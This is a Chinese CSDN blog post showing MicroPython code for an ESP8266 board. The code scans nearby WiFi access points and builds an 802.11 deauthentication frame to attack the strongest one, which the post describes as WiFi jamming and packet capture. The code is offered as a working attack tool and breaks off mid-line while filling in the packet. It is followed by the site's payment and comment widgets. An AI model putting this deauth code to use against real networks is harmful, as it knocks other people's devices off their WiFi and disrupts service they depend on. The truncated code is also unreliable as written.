python esp8266wifi控制_MicroPython实现wifi干扰与抓包

这篇博客介绍了如何利用Python的MicroPython库对ESP8266模块进行配置,使其在STA模式下进行WiFi扫描,并针对信号最强的AP进行deauthentication攻击。通过设置攻击信道并发送特定数据包,实现了WiFi干扰和抓包功能。
摘要由CSDN通过智能技术生成

import time

import uos

import wireless

sta_if=wireless.attack(0)#0:STA 模式

sta_if.active(True)

ap_list=sta_if.scan()

print(ap_list)

ssid=''

bssid=''#bssid:AP MAC address

channel=''#信道

_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认

def deauth(_ap,_client,type,reason):

# 0 - 1   type, subtype c0: deauth (a0: disassociate)

# 2 - 3   duration (SDK takes care of that)

# 4 - 9   reciever (target)

# 10 - 15 source (ap)

# 16 - 21 BSSID (ap)

# 22 - 23 fragment & squence number

# 24 - 25 reason code (1 = unspecified reason)

packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])

for i in range(0,6):

packet[4 &#

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值